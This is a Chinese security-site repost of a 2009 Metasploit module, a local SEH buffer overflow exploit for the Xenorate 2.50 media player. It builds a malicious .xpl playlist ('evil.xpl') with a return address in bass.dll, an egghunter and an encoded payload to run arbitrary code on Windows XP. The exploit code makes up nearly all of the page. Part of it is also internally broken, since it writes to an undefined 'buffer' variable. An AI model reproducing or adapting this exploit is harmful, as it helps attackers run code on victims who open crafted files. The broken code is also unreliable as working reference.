首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH) (meta)
来源:http://www.metasploit.com 作者:loneferret 发布时间:2009-12-11  

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh
        include Msf::Exploit::Egghunter 
       
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)',
   'Description'    => %q{
     This module exploits a stack overflow in Xenorate 2.50
     By creating a specially crafted xpl playlist file, an an attacker may be able
     to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'loneferret, original by  germaya_x' ],
   'Version'        => '$Revision:  $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/10371' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },     
   'Payload'        =>
    {
     'Space'    => 5100,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'   =>  'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 10 2009',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME',   [ false, 'The file name.',  'evil.xpl']),
    ], self.class)

 end

 def exploit

                # Unleash the Egghunter!
                eh_stub, eh_egg = generate_egghunter

  sploit = rand_text_alpha_upper(88)
  sploit << "\xEB\x06\x90\x90"
  sploit << [target.ret].pack('V')
  sploit << make_nops(20)
                buffer << eh_stub
                buffer << rand_text_alpha_upper(2000)  
                buffer << eh_egg * 2  
  sploit << payload.encoded
 
  xpl = sploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(xpl)  

 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Easy RM to MP3 Converter 2.7.3
·Xenorate 2.50(.xpl) universal
·SAP GUI for Windows sapirrfc.d
·Eureka Email 2.2q ERR Remote B
·HP NNM 7.53 ovalarm.exe CGI Pr
·Mozilla Codesighs Memory Corru
·Audio Workstation 6.4.2.4.3 pl
·RM Downloader 3.0.2.1(.M3U Fil
·Audio Workstation v6.4.2.4.0 (
·Savant Web Server 3.1 Remote B
·又一上传突破
·win xp sp2 PEB ISbeingdebugged
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved